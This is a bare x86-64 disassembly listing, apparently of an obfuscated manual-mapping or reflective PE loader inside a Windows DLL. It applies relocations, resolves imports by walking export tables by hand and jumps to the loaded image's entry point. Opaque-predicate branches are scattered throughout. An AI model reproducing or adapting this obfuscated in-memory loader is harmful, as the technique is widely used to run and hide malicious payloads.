jmp 0x18000227f
jmp 0x180002281
jmp 0x180002283
jmp 0x180002285
jmp 0x180002287
jmp 0x180002289
jmp 0x18000228b
jmp 0x18000228d
mov rax, qword [rbp]
mov rcx, qword [rax + 0x30]
mov r11, r12
sub r11, rcx
cmp ebx, 0xa
jl 0x1800022af
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x1800022af
jmp 0x1800022ad
mov rax, qword [rbp]
mov ecx, dword [rax + 0xb0]
add rcx, r12
movabs r8, 0x1fffffff8
cmp dword [rcx], 0
je 0x1800024a0
mov edi, dword [rcx + 4]
cmp rdi, 8
jb 0x18000246c
cmp ebx, 0xa
jl 0x1800022f0
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x18000249a
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x18000246c
movzx eax, word [rcx + r10*2 + 8]
mov edi, eax
shr edi, 0xc
mov esi, eax
and esi, 0xfff
cmp eax, 0xa000
jae 0x1800023a4
cmp edi, 3
jne 0x180002443
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
mov edx, esi
cmp ebx, 0xa
jl 0x1800023e0
test edi, edi
je 0x1800023e0
lea rbx, [r12 + rdx*4]
mov eax, dword [rcx]
add dword [rbx + rax*4], r11d
mov eax, dword [rcx]
add dword [rbx + rax*4], r11d
cmp dword [0x180020a6c], 0xa
jl 0x180002372
mov eax, dword [0x180020a70]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x18000234c
mov eax, dword [rcx]
lea rsi, [r12 + rdx*4]
add dword [rsi + rax*4], r11d
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ebx, 0xa
jl 0x1800023e0
test edi, edi
je 0x1800023e0
mov eax, dword [rcx]
add dword [rsi + rax*4], r11d
mov eax, dword [rcx]
jmp 0x180002378
cmp edi, 0xa
jne 0x180002443
mov eax, dword [rcx]
add rsi, r12
add qword [rax + rsi], r11
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002443
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180002443
mov eax, dword [rcx]
add qword [rsi + rax], r11
mov eax, dword [rcx]
add qword [rsi + rax], r11
jmp 0x1800023b6
cmp ebx, 0xa
jl 0x180002413
test edi, edi
je 0x180002413
lea rbx, [r12 + rdx*4]
mov eax, dword [rcx]
add dword [rbx + rax*4], r11d
mov eax, dword [rcx]
add dword [rbx + rax*4], r11d
cmp dword [0x180020a6c], 0xa
jl 0x180002413
mov eax, dword [0x180020a70]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x1800023ed
mov eax, dword [rcx]
lea rdi, [r12 + rdx*4]
add dword [rdi + rax*4], r11d
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002443
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180002443
mov eax, dword [rcx]
add dword [rdi + rax*4], r11d
mov eax, dword [rcx]
jmp 0x180002419
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x180002455
test edi, edi
jne 0x18000249c
add r10, 1
cmp ebx, 0xa
jl 0x1800022fc
test edi, edi
je 0x1800022fc
jmp 0x18000249a
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x18000247e
test edi, edi
jne 0x18000249e
mov eax, dword [rcx + 4]
add rcx, rax
cmp ebx, 0xa
jl 0x1800022c6
test edi, edi
je 0x1800022c6
jmp 0x1800022ad
jmp 0x18000249a
jmp 0x18000249c
jmp 0x18000249e
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x1800024b4
test ecx, ecx
je 0x1800024b4
jmp 0x1800024b2
lea rax, [r12 + 2]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, r12
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r15d, dword [rax + 0xc]
test r15, r15
je 0x180002a25
cmp ebx, 0xa
jl 0x1800024ec
test ecx, ecx
jne 0x1800025cf
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000251d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029b2
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000254c
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029b6
lea rcx, [r12 + r15]
add r8, r9
mov edi, dword [r9 + rbx + 0x20]
mov r10d, dword [r9 + rbx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rax, r14
movzx edx, byte [rax]
movzx ebx, byte [rsi]
test dl, dl
je 0x180002581
add rax, 1
add rsi, 1
cmp dl, bl
je 0x18000256b
cmp dl, bl
je 0x18000258f
add rdi, 4
add r10, 2
jmp 0x180002563
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
call r9
add rsp, 0x20
mov qword [rbp - 8], rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x18000268d
test ecx, ecx
je 0x18000268d
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002600
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029b4
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000262f
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029b8
lea rcx, [r12 + r15]
add r8, r9
mov edi, dword [r9 + rbx + 0x20]
mov r10d, dword [r9 + rbx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
mov rax, r14
movzx edx, byte [rax]
movzx ebx, byte [rsi]
test dl, dl
je 0x180002664
add rax, 1
add rsi, 1
cmp dl, bl
je 0x18000264e
cmp dl, bl
je 0x180002672
add rdi, 4
add r10, 2
jmp 0x180002646
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
call r9
add rsp, 0x20
jmp 0x1800024ec
cmp ebx, 0xa
jl 0x18000269a
test ecx, ecx
jne 0x1800029be
mov rcx, qword [rbp - 0x18]
mov edx, dword [rcx]
mov ecx, dword [rcx + 0x10]
add rdx, r12
mov qword [rbp - 0x28], rdx
add rcx, r12
mov qword [rbp - 0x10], rcx
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
test rcx, rcx
je 0x180002986
mov rax, qword [rbp - 0x30]
add rax, rcx
test rcx, rcx
movzx r15d, cx
cmovns r15, rax
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002704
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029bc
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002733
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029ba
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002765
add rsi, 1
add rdi, 1
cmp al, bl
je 0x18000274f
cmp al, bl
je 0x180002773
add rdx, 4
add rcx, 2
jmp 0x180002746
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180002969
test ecx, ecx
je 0x180002969
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800027ed
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029aa
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000281c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029ac
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x18000284e
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002838
cmp al, bl
je 0x18000285c
add rdx, 4
add rcx, 2
jmp 0x18000282f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800028b0
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029ae
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800028df
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029b0
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002911
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800028fb
cmp al, bl
je 0x18000291f
add rdx, 4
add rcx, 2
jmp 0x1800028f2
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
cmp dword [0x180020a6c], 0xa
jl 0x1800026d3
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027bc
jmp 0x1800026d3
add qword [rbp - 0x28], 8
add qword [rbp - 0x10], 8
cmp ebx, 0xa
jl 0x1800026b1
test ecx, ecx
je 0x1800026b1
jmp 0x1800029be
add qword [rbp - 0x18], 0x14
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x1800024ce
test ecx, ecx
je 0x1800024ce
jmp 0x1800024b2
jmp 0x1800029aa
jmp 0x1800029ac
jmp 0x1800029ae
jmp 0x1800029b0
jmp 0x1800029b2
jmp 0x1800029b4
jmp 0x1800029b6
jmp 0x1800029b8
jmp 0x1800029ba
jmp 0x1800029bc
jmp 0x1800029be
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002a48
cmp eax, 0xa
jl 0x1800029e1
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002a0f
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002a25
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002a25
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x1800029e1
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jge 0x1800029c0
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret